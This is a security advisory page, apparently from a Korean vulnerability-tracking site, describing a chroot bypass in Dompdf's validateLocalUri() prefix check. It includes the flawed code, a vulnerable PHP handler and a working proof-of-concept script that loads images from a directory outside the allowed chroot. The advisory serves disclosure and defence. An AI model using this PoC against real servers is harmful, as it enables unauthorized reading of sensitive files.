Dompdf: Chroot Validation Bypass
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
Details
The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
1 public function validateLocalUri(string $uri) 2 { 3 ... 4 $realfile = realpath(str_replace("file://", "", $uri)); 5 ... 6 foreach ($dirs as $chrootPath) { 7 $chrootPath = realpath($chrootPath); 8 if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) { 9 $chrootValid = true;Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.
PoC
With a directory structure similar to:
1/home/dompdf/ 2 |--> web/ 3 |--> pdf.php 4 |--> cat0.jpg 5 |--> web-admin/ 6 |--> cat1.jpgAnd web-accessible Dompdf functionality similar to the following (poc.html):
1<?php 2require 'vendor/autoload.php'; 3use Dompdf\Dompdf; 4use Dompdf\Options; 5 6$options = new Options(); 7$options->setChroot(['/home/dompdf/web/']); 8$dompdf = new Dompdf($options); 9 10$dompdf->loadHtml($_POST['html']);11$dompdf->render();12$dompdf->stream();13?>A malicious actor can exploit the vulnerability with the following script:
1$html = <<<HTML 2<!DOCTYPE html> 3<html> 4 <body> 5 <p>within chroot</p> 6 <img src="/home/dompdf/web/cat0.jpg"> 7 <p>outside of chroot</p> 8 <img src="/home/dompdf/web-admin/cat1.jpg"> 9 </body>10</html>11HTML;12 13$url = 'http://example.com/poc.php';14$data = ['html' => $html];15$headers = ["Content-type: application/x-www-form-urlencoded"];16 17// use key 'http' even if you send the request to https://...18$options = [19 'http' => [20 'header' => $headers,21 'method' => 'POST',22 'content' => http_build_query($data),23 'ignore_errors' => true,24 ],25];26$context = stream_context_create($options);27$response = file_get_contents($url, false, $context);When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.
Impact
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.